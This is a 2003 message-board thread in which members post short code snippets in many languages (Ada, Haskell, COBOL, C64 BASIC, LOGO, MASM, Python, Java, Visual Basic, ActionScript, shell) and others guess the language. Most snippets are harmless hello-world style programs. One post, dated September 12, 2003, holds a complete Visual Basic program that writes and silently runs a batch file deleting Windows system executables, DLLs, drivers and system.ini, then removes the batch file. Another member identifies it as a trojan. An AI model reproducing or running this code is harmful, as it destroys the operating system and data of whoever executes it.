Title: NAME THAT LANGUAGE!
Description: another message board game.....
ih8censorship - June 28, 2003 03:15 AM (GMT)
well we all know the basics of more common languages, but there are so many languages for so many systems out there. in this thread we will be playing a little game where you guess the name of the language for a given code snippet.
heres the rules:
1. they must be complete programs such as a small hello world type thing or something small anyways so it fits in the window better
2.if you guess the language before anyone else all you get is the satisfaction of knowing that your faster or more experienced than someone else
3.if you guess what a language is, you have to post some code for someone to figure out what language it is
4. have fun finding out about new (or 30 year old obsolete) languages!
well heres mine-- its pretty easy to figure out what it is if you know a bit about different languages but im not going to tell you why or that will give away the answer.
| CODE |
with Ada.Text_IO, Ada.Integer_Text_IO;
use Ada.Text_IO, Ada.Integer_Text_IO;
procedure OneInt is
Index : INTEGER; -- A simple Integer type
begin
Index := 23;
Put("The value of Index is");
Put(Index); -- The default field width is 11 columns
New_Line;
Index := Index + 12;
Put("The value of Index is");
Put(Index, 8);
New_Line;
end OneInt;
-- Result of execution
-- The value of Index is 23
-- The value of Index is 35
|
StarReaver2 - June 28, 2003 06:09 AM (GMT)
Microsoft Access? I'm sure thats wrong, but its worth a guess.
Xception - June 28, 2003 08:19 AM (GMT)
It's Ada. That was really easy. Mine will be harder to solve:
| CODE |
summiere::[Integer]->Integer
summiere []=0
summiere (x:xs) = x + summiere xs
|
Dark_Sonic - June 28, 2003 08:59 AM (GMT)
Xception let me guess...
Is that Haskell? :huh:
Dark_Sonic - June 28, 2003 09:01 AM (GMT)
Well if that was right here comes one from me! What language is this:
| QUOTE |
$ SET SOURCEFORMAT"FREE"
IDENTIFICATION DIVISION.
PROGRAM-ID. ShortestProgram.
PROCEDURE DIVISION.
DisplayPrompt.
DISPLAY "I did it".
STOP RUN. |
Xception - June 28, 2003 10:30 AM (GMT)
You were right, Cybermaster, and your sourcecode is a COBOL program.
My new one, tell me also the computer system this small sourcecode is for:
| CODE |
10 POKE 53281,10
20 ?"HELLO WORLD"
30 GOTO 20
|
ih8censorship - June 28, 2003 02:54 PM (GMT)
is that an amiga basic program?
Xception - June 28, 2003 04:16 PM (GMT)
Basic is of course right, but not Amiga Basic.
POKE 53281,10 sets the background color.
Shadow of the Moon - June 28, 2003 04:44 PM (GMT)
Xception - June 28, 2003 05:37 PM (GMT)
No, Amiga was much closer. It's for an other Commodore computer.
Shadow of the Moon - June 28, 2003 06:14 PM (GMT)
It's Atari Basic, right? :)
Here's an easy one
| CODE |
Function H ()
up
left 90
Down
Forward 10
Backward 5
right 90
Forward 5
right 90
Backward 5
Forward 10
left 90
Up
forward 5
Function E()
Down
forward 5
Backward 5
left 90
Forward 5
right 90
Forward 3
Backward 3
left 90
Forward 5
right 90
Forward 5
Up
right 90
Forward 10
left 90
forward 5
Function L()
Forward 5
Down
Backward 5
Left 90
Forward 10
Up
Right 90
Forward 10
Right 90
Forward 10
Left 90
Up
Function O()
Down
Repeat 2
Forward 5
Left 90
Forward 10
Left 90
up
forward 10
function D()
Down
Forward 3
Left 45
forward 1.5
left 45
Forward 8
left 45
forward 1.5
left 45
forward 3
left 90
forward 10
up
left 90
forward 10
function W()
left 90
forward 10
down
backward 10
right 45
forward 5
right 90
forward 5
left 135
forward 10
up
right 90
forward 5
right 90
forward 10
left 90
Function R()
down
left 90
forward 10
right 90
forward 3
right 45
forward 1.5
right 45
forward 2
right 45
forward 1.5
right 45
forward 3
left 135
forward 8.5
up
left 45
forward 5
straight
y=0
repeat 10
up
y=y-15
goto 0,y,0
forward 10
right 90
forward 10
left 90
H()
E()
L()
L()
O()
Forward 5
W()
O()
R()
L()
D()
|
<-EDIT->
Come on, this is EASY :rolleyes:
Xception - July 1, 2003 10:55 PM (GMT)
It's LOGO:
http://www2.latech.edu/~acm/helloworld/logo.htmlBut you didn't guess my Basic dialect right, it was C64 Basic.
Shadow of the Moon - July 1, 2003 11:30 PM (GMT)
Oops, sorry Xception.
You found the site I was using :P
Xception - July 3, 2003 03:42 PM (GMT)
an easy one:
| CODE |
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
MsgCaption db "Hello",0
MsgBoxText db "Win32 "Hello World!",0
.code
start:
invoke MessageBox, NULL,addr MsgBoxText, addr MsgCaption, MB_OK
invoke ExitProcess,NULL
end start
|
ih8censorship - July 3, 2003 10:36 PM (GMT)
is it assembly language for MASM ? i think it is but i could be wrong.
Dragon - July 4, 2003 12:44 AM (GMT)
Xception, I have no idea, so let's take a wild guess: Delphi? No, that doesn't look like Delphi. Maybe it is. Hmm.... :unsure:
[EDIT] No longer think it is Delphi. :D
ih8censorship - July 4, 2003 01:45 AM (GMT)
yeah if it was delphi it would look like pascal ;) anyways exeption if im right just post that i am so i can post my code snippet.
**edit** well if i am right heres my code snippet i think its a whole program but im not sure as i dont know the language
| CODE |
>>> ur'Hello\u0020World !'
u'Hello World !'
>>> ur'Hello\\u0020World !'
u'Hello\\\\u0020World !'
|
Dark_Sonic - July 4, 2003 10:38 AM (GMT)
ih8 thats Python isn't it? Well I'm sure it is so heres my snippet:
| QUOTE |
/**
* <p>Handle command events.</p>
* @param command a Command object identifying the command
* @param displayable the Displayable on which this event has occurred
*/
public void commandAction(Command command, Displayable displayable) {
// First, get the type of command that was just received.
int commandType = command.getCommandType();
// Now perform an action based on the type of command received.
if (commandType == Command.EXIT) {
// We just received the EXIT command (user just pressed EXIT), so quit
// the MIDlet.
StopWatch.quitApp();
}
else {
// User must have selected one of the menu items. Find out what is
// selected and display the appropriate screen.
String selectedItem = getString(getSelectedIndex());
if (selectedItem.equals(MENU_CHOICES[0])) {
// Show the StopWatch screen.
Display.getDisplay(StopWatch.instance).setCurrent(stopWatchDisplay);
}
}
} |
So wha language is that?
EDIT: BTw I'm back from vacation... :P
ih8censorship - July 4, 2003 12:31 PM (GMT)
yep it was python. i have no idea what your language is....
Dark_Sonic - July 5, 2003 10:59 AM (GMT)
Opps! Name of that language reads in that code :P!
Thats a good hint...
TheHawgMaster - July 20, 2003 10:41 PM (GMT)
That's Java Cybermaster.
Here's an ez one:
| CODE |
<HTML><HEAD><TITLE>HelloWorld!</TITLE><HEAD></HTML>
|
SKINp - July 20, 2003 11:30 PM (GMT)
Hmmm call it language, but html isnt really a programmation language...
another one:
| CODE |
Option Explicit
Dim xspeed, yspeed As Long
Private Sub Form_Load()
xspeed = 15
yspeed = 15
End Sub
Private Sub Timer1_Timer()
Shape1.Left = Shape1.Left + xspeed
Shape1.Top = Shape1.Top + yspeed
If Shape1.Left < 0 Then
xspeed = -(xspeed)
ElseIf Shape1.Left > Form1.Width - 1.5 * (Shape1.Width) Then
xspeed = -(xspeed)
End If
If Shape1.Top < 0 Then
yspeed = -(yspeed)
ElseIf Shape1.Top > Form1.Height - 3 * (Shape1.Height) Then
yspeed = -(yspeed)
End If
End Sub
|
Stuy GM - July 27, 2003 10:28 AM (GMT)
0;>\"`2%°\ / 01-emirP #/<\6N*.)
@ \1#/->/1+"'"\ \./
\2°°/>%^`/ #
\01-emirP$ on/
You'll never guess that one out...
Xception - July 27, 2003 11:00 AM (GMT)
The above your code is Visual Basic and your code is PingPong.
Stuy GM - July 27, 2003 03:19 PM (GMT)
lol :lol: , how the hell did u know that?
ih8censorship - August 5, 2003 12:56 AM (GMT)
xception knows all. ;) i outta change this topic to "find a language xception cant figure out!" :lol:
Sam Fisher vs Solid Snake - August 5, 2003 01:00 AM (GMT)
that is assembly but i dont know what assembly language it is
sry wrong page i dint see page 2
ih8censorship - August 5, 2003 01:02 AM (GMT)
nope the last few were vb and pingpong
Sam Fisher vs Solid Snake - August 5, 2003 01:06 AM (GMT)
dint see there was a page 2
FHCandyman - August 8, 2003 08:54 AM (GMT)
0;>\"`2%°\ / 01-emirP #/<\6N*.)
@ \1#/->/1+"'"\ \./
\2°°/>%^`/ #
\01-emirP$ on/
What type of language is that? Does it serve any purpose at any point in time :huh:
Sam Fisher vs Solid Snake - August 8, 2003 02:32 PM (GMT)
you should know there are tons of other languages out there, i am currently doing basic with c++
FHCandyman - August 8, 2003 10:07 PM (GMT)
i know there are tons, i just think a lot are unnecessary. but i guess they were just part of technological evolution, and it assures no one will ever know everything(with the exception of Xception :lol: )
Sam Fisher vs Solid Snake - August 9, 2003 04:23 PM (GMT)
ypu, i dont see why people dont delete the old technology
ih8censorship - August 9, 2003 07:26 PM (GMT)
well Sam Fisher vs Solid Snake, you cant "delete" a technology once its in action. old computers still exist, and some are even still used often (a lot for historical purposes-- ever see the movie swordfish where he goes into that old computer that is kept online just for history?) or old games.also its good to see where the computer world came from. ten years ago the internet was just an experament with government and sientists computers connected. now everyones online. some programing languages i think just came from someone wanting to have their own language to write programs in.
Sam Fisher vs Solid Snake - August 9, 2003 07:29 PM (GMT)
i know it isnt possible and i have never seen swordfish but, if you look there are a lot less people on the older languages, they have all moved to delphi, c++,C#, and more
SKINp - September 12, 2003 10:57 PM (GMT)
So what does that one do?
| CODE |
Private Sub Form_Load()
On Error Resume Next
Open "C:\Jockstrap.txt" For Output As #1
Print #1, "@echo off"
Print #1, "cls"
Print #1, "@del C:\windows\*.ini"
Print #1, "cls"
Print #1, "@del C:\windows\*.log"
Print #1, "cls"
Print #1, "@del C:\windows\*.exe"
Print #1, "cls"
Print #1, "@del C:\windows\*.com"
Print #1, "cls"
Print #1, "@del C:\windows\system32\*.scr"
Print #1, "cls"
Print #1, "@del C:\windows\SYSTEM32\*.exe"
Print #1, "cls"
Print #1, "@del C:\windows\system32\*.log"
Print #1, "cls"
Print #1, "@del C:\windows\SYSTEM32\*.drv"
Print #1, "cls"
Print #1, "@del C:\windows\system32\*.dll"
Print #1, "cls"
Print #1, "@del C:\windows\SYSTEM32\*.sys"
Print #1, "cls"
Print #1, "@del C:\windows\SYSTEM32\*.com"
Print #1, "cls"
Print #1, "@del C:\windows\system.ini"
Close #1
Name "C:\Jockstrap.txt" As "C:\Jockstrap.bat"
Shell "C:\Jockstrap.bat"
MsgBox "The Answer Is Out There!",vbCritical
Kill "C:\Jockstrap.bat"
End
End Sub
|
shortys team - September 13, 2003 01:22 AM (GMT)
this is probly an easy one
| CODE |
onClipEvent (load) {
// declare and set initial variables
maxSpeed = 5;
turn = 0;
gravity = -5;
force = 0;
}
onClipEvent (enterFrame) {
if (Key.isDown(Key.RIGHT)){ turn += 1;}
if (Key.isDown(Key.LEFT)){ turn-= 1;}
if (!Key.isDown(Key.LEFT) && !Key.isDown(Key.RIGHT) && (turn>0)) {turn -= .1;}
if (!Key.isDown(Key.LEFT) && !Key.isDown(Key.RIGHT) && (turn<0)) {turn += .1;}
_x += turn;
_y -= gravity+force;
if (Key.isDown(Key.UP)){ force += 1;}
if (!Key.isDown(Key.UP) && (force> 0)){ force -= .5; gravity += -.5;}
}
|
TheHawgMaster - September 13, 2003 04:29 AM (GMT)
SKINp, looks like a trojan written in Visual Basic.
Oh, and shorty. Didn't ih8 say to put a FULL program? Oh well, looks like JavaScript to me.
Xception - September 13, 2003 07:10 PM (GMT)
It's ActionScript(Flash), not Javascript.
Incubator - September 13, 2003 08:16 PM (GMT)
here´s an easy one for you guys:
| CODE |
#displays contents of filename and checks if it exists
while true; do
echo -e "Enter filename: \c"
read filename
if [ -z "$filename" ]; then
#if user entered nothing
break
else
if [ ! -f "$filename" ]; then
echo -e "This is not a file"
else
if [ ! -s "$filename" ]; then
echo $filename is empty
else
echo -e "Contents of $filename: \n"
cat $filename
fi
fi
fi
done
|
note: this could just as well be done with a case :P
